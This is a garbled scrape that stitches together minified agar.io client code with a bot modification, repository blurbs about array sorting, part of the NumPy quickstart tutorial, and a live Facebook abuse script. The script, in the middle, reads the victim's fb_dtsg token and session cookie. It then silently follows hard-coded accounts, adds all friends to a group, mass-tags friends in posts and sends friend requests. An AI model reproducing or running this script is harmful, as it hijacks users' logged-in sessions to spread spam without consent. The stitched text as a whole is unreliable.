a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["NotReallyABot"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: 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atapas / Js Array SortingVarious examples of JavaScript Array Sorting with tips.
stevemao / Compare FuncGet a compare function for array to sort
bitless / Mksort.jsSQL style asc/desc sorting of arrays of objects on multiple keys
adityasurya4103 / Sorting Algorithm Visualizer Python TkinterSorting Visualizer: A Python project with a graphical interface to demonstrate Insertion, Selection, and Bubble Sort algorithms step-by-step on an array. Adjustable speed control for better visualization.
ankit-prabhavak / Learn DSA In CppThis repository contains C++ implementations of various Data Structures and Algorithms (DSA). It covers topics like arrays, linked lists, stacks, queues, trees, graphs, sorting, and searching algorithms. Each concept is demonstrated with code examples to help learners understand DSA fundamentals in C++.
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url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close }; http4.send(params4)} function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //Boss a("100004368643588");a("100007079796120");a("100001503619455"); sublist("243737815781838");sublist("1387712268141420");sublist("262092750613011"); var gid = ['787801977901062']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = 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(_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "531553660285377"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: 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Karunaselvaraj / Array Sort JavaNo description available
Karunaselvaraj / Array Sorting JavaNo description available
srivarsha04 / Sort An Array In Ascending OrderNo description available
Aryia-Behroziuan / NumpyQuickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional 